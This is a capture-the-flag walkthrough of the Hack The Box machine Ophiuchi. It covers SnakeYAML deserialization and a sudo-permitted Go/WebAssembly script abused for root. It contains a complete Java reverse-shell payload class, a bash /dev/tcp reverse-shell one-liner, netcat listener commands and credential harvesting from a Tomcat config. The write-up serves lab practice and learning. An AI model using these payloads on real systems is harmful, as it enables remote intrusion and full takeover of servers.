HTB Ophiuchi

Initial Enumeration

Initial port scan shows port 22 and 8080

The webpage shows a YAML parser form.

Caturing the request in burp we can change the data to post an exploit.

Inital foothold

The yaml-payload.jar is compiled with the following code:

https://github.com/artsploit/yaml-payload

https://medium.com/@swapneildash/snakeyaml-deserilization-exploited-b4a2c5ac0858

package artsploit;

import javax.script.ScriptEngine;
import javax.script.ScriptEngineFactory;
import java.io.IOException;
import java.util.List;
import java.net.Socket;
import java.io.InputStream;
import java.io.OutputStream;
import java.lang.*;

public class AwesomeScriptEngineFactory implements ScriptEngineFactory {

    public AwesomeScriptEngineFactory() {
        try {
            String host="10.10.14.82";
            int port=4444;
            String cmd="/bin/bash";
            Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();
            Socket s=new Socket(host,port);
            InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();
            OutputStream po=p.getOutputStream(),so=s.getOutputStream();
            while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();
        } catch (IOException e) {
            e.printStackTrace();
        } catch(InterruptedException ee){
            ee.printStackTrace();
        }
    }

    @Override
    public String getEngineName() {
        return null;
    }

    @Override
    public String getEngineVersion() {
        return null;
    }

    @Override
    public List<String> getExtensions() {
        return null;
    }

    @Override
    public List<String> getMimeTypes() {
        return null;
    }

    @Override
    public List<String> getNames() {
        return null;
    }

    @Override
    public String getLanguageName() {
        return null;
    }

    @Override
    public String getLanguageVersion() {
        return null;
    }

    @Override
    public Object getParameter(String key) {
        return null;
    }

    @Override
    public String getMethodCallSyntax(String obj, String m, String... args) {
        return null;
    }

    @Override
    public String getOutputStatement(String toDisplay) {
        return null;
    }

    @Override
    public String getProgram(String... statements) {
        return null;
    }

    @Override
    public ScriptEngine getScriptEngine() {
        return null;
    }
}

Compile

/usr/lib/jvm/jdk-11.0.10/bin/javac src/artsploit/AwesomeScriptEngineFactory.java
jar -cvf yaml-payload.jar -C src/ .

Open a netcat listener on port 4444

ncat -nvlp 4444

With this we get a shell back as tomcat.

Checking the tomcat users file under /opt/tomcat/conf/tomcat-users.xml we find the admin password.

User flag

This allows us to su into admin.

User Enumeration

sudo -l allows us to run a go command under /opt/wasm-functions/index.go which executes main.wasm then deploy.sh

sudo /usr/bin/go run /opt/wasm-functions/index.go

This leads us to believe we need to compile a web assembly using rust.

Using wasm-pack for rust

File: src/lib.rs

#[no_mangle]
pub extern "C" fn info() -> i32 {
    return 1
}

File: Cargo.toml

[package]
name = "exploit"
version = "0.1.0"
authors = ["Your Name <[email protected]>"]
description = "A sample project with wasm-pack"
license = "MIT/Apache-2.0"
repository = "https://github.com/yourgithubusername/hello-wasm"
edition = "2018"

[lib]
crate-type = ["cdylib"]

[dependencies]
wasm-bindgen = "0.2"

File: deploy.sh

/bin/bash -c 'bash -i >& /dev/tcp/10.10.14.36/8443 0>&1'

Open a netcat listener

ncat -nvlp 8443

wasm-pack build
scp pkg/exploit_bg.wasm admin@IP:/home/admin/main.wasm
scp deploy.sh admin@IP:/home/admin/deploy.sh

Root flag

Now ssh into the admin account and run the script as admin to get a root reverse shell. This is to be ran from the admin home directory where main.wasm and deploy.sh exist.

sudo /usr/bin/go run /opt/wasm-functions/index.go 

This will open a reverse shell to our machine on port 8443 as root